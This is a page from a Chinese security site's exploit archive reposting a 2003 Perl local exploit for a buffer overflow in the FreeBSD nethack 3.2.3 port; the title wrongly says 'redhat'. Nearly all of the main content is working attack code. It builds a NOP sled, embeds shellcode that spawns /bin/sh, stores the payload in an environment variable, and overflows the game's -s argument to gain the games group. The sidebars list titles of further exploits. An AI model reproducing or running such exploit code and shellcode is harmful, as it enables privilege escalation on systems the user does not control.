首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Local Exploit for a buffer overflow(redhat)
来源:vittersafe.tk 作者:vitter 发布时间:2003-03-06  

 
Local Exploit for a buffer overflow in /usr/ports/games/nethack32 which gives a privilege escalation to group id games. By Knud Erik H鴍gaard
--------------------------------------------------------------------------------
#!/usr/bin/perl
# knud vs. /usr/ports/games/nethack32 / nethack-3.2.3
# freebsd edition.. gives gid games
# bug sent to various lists by 'tsao_4sh0@hushmail.com'

$len = 1000;
$ret = 0xbfbffb7f; # on my 4.7-RELEASE
$nop = "\x90";
$offset = 0;
$shellcode ="\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56". #freebsd 29bytes
"\xb0\x3b\x50\xcd\x80\xe8\xed\xff\xff\xff\x2f". #execve /bin/sh
"\x62\x69\x6e\x2f\x73\x68\x23";
#zillionATsafemode.org

if (@ARGV == 1) {
$offset = $ARGV[0];
}
for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
$buffer .= $nop;
}
$buffer .= $shellcode;
print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");
$new_ret = pack('l', ($ret + $offset));
for ($i += length($shellcode); $i < $len; $i += 4) {
$buffer .= $new_ret;
}
local($ENV{'EGG'}) = $buffer;
$cakeman = $new_ret x 57 ;
exec("/usr/local/share/nethack/nethack -s $cakeman");




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·cvs_solaris_HEAP.c
·smartass.pl
·Linux FreeBSD CVS exploit
·linx86_sendmail.c
·IIS后门设置脚本 FOR WIN2000
·WS_FTP FTPD "STAT"命令远程溢出
·动网上传漏洞利用工具Gui版(De
·RPC溢出漏洞(MS03-26)攻击代码
·BBSXP setup.asp top function i
·XP图象式样让权限提升的漏洞
·Envymask 写的DVBBS UPFILES EXP
·85NIPrint.c 远程攻击程序
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved